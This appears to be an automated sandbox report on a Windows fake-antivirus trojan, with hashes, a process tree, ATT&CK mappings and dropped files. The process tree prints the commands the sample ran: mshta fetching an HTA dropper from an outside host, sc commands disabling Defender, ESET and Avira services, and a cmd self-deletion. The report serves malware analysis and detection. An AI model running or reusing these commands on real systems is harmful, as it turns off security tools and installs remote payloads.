Overview

overview

10

Static

static

3

eb4e2a8e37...18.exe

windows7-x64

10

eb4e2a8e37...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 12:09

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General

  • Target

    eb4e2a8e3747a92bfa9eddbd82922e59_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    eb4e2a8e3747a92bfa9eddbd82922e59

  • SHA1

    edb4309be523ffcc63d959bd5e9bbf60d4745c32

  • SHA256

    5be56a365a6205f79afd477feefbfc72b780440f1771df21efe634aa39e2e6d2

  • SHA512

    2f452c17fb730dcb95f4b72a665585f5bf227e09f49b05aeff447f47e77c4d59d1f973d19ef990b6fe3a6b7f1910a9beaf3d128e6ffe2e113c142c6309afdaaa

  • SSDEEP

    49152:DMqDXya6MmXveHhW7NmmsvMdAdg5G7Td7uDEpafagvYqiKneu:D9YMhhWIVvMdAio7uwpaigvpeu

Score
10/10
defense_evasiondiscoveryevasionexecutionpersistencetrojan

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.online-secure-pay.info/?0=112&1=2&2=1&3=33&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=gxqrnapdoe&14=1

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 41 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\eb4e2a8e3747a92bfa9eddbd82922e59_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eb4e2a8e3747a92bfa9eddbd82922e59_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\4l26566ate6094i.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\4l26566ate6094i.exe" -e -p668y35zy9semc51
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\a894n2h26uxk8bk.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\a894n2h26uxk8bk.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1384
        • C:\Users\Admin\AppData\Roaming\Protector-iobj.exe
          C:\Users\Admin\AppData\Roaming\Protector-iobj.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:464
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.online-secure-pay.info/?0=112&1=2&2=1&3=33&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=gxqrnapdoe&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1676
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3248
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1008
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4920
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:768
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3036
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:5020
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1884
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3976
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" res://ieframe.dll/dnserrordiagoff.htm#http://www.cmyip.com/
            5⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4456
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4456 CREDAT:17410 /prefetch:2
              6⤵
              • System Location Discovery: System Language Discovery
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:872
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\A894N2~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2
T1569

Service Execution

2
T1569.002

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Impair Defenses

2
T1562

Disable or Modify Tools

1
T1562.001

Indicator Removal

1
T1070

File Deletion

1
T1070.004

Modify Registry

4
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

2
T1489

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
    Filesize

    471B

    MD5

    d05db975cf07282910d2eeaf4d1d6e0a

    SHA1

    ee43161120259ffd9a634c71ad97a786a228c559

    SHA256

    3198a8f5168605583124b415310f2b135b6233cd3ff9d3bec9b064d609f86e5e

    SHA512

    c0aeba576a2b4baa4c38b4b4176137c3c72a426e222cf16424e333cbeb16e559499fa9c70d200adcd71bb012c35e65478772879071c80f7f9a2b945c9f6c0f3d

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
    Filesize

    404B

    MD5

    cde33762f1c9b8002b56d19e798e42b6

    SHA1

    24a5528caf2ec65550cc20034c918b75268d31e7

    SHA256

    37973d54957c5c6d35d942efc20e4a107508669d11b61acaec23a1617467006e

    SHA512

    594fd7f6bf02c0164f2d2497645bec390a7d6da4272ab6a77997cdbe0b0d4aeab1d005e1dee8c926f68c56a96aafb5e999b712b65eaba997735cf2fbfbbd52c3

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver7B26.tmp
    Filesize

    15KB

    MD5

    1a545d0052b581fbb2ab4c52133846bc

    SHA1

    62f3266a9b9925cd6d98658b92adec673cbe3dd3

    SHA256

    557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

    SHA512

    bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JSDV0W5M\suggestions[1].en-US
    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\4l26566ate6094i.exe
    Filesize

    2.0MB

    MD5

    4b043a2187093b9e550526c971937866

    SHA1

    fa99728510a2493c8d00dd8c0e2c5b29449b8a41

    SHA256

    f0f3b5e787031b79844635662c9010cc496a21d93541fc5bbe9f1ce0e84ef857

    SHA512

    b578e98a96fd00af6086d45140e247c6b540798ebe83c9890957552500f4cfb68d337314122f4c4895bccccbddbd2628ca5d192d7b054148afc2571bd838f758

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\a894n2h26uxk8bk.exe
    Filesize

    1.9MB

    MD5

    4b64d7c16be8aff7a3a2233afef74736

    SHA1

    b92f314dd0af8f817c50df7e68cb7122e41c6088

    SHA256

    040510194a4376a66c85b17bdf385b00216594fc2d5ecb97ab562300ab658e82

    SHA512

    b0fce2301d53cae98e31471203ec08966b5694f5654d0059fff6386920e87b153cc8455fd85ca8db310b9f8959baaa8a15326282fad4adf4209319da2ed95de2

    Download Submit

  • memory/464-34-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-68-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-48-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-49-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-35-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-89-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-23-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-47-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-70-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-71-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-72-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-85-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/464-83-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1384-18-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download

  • memory/1384-24-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

    Download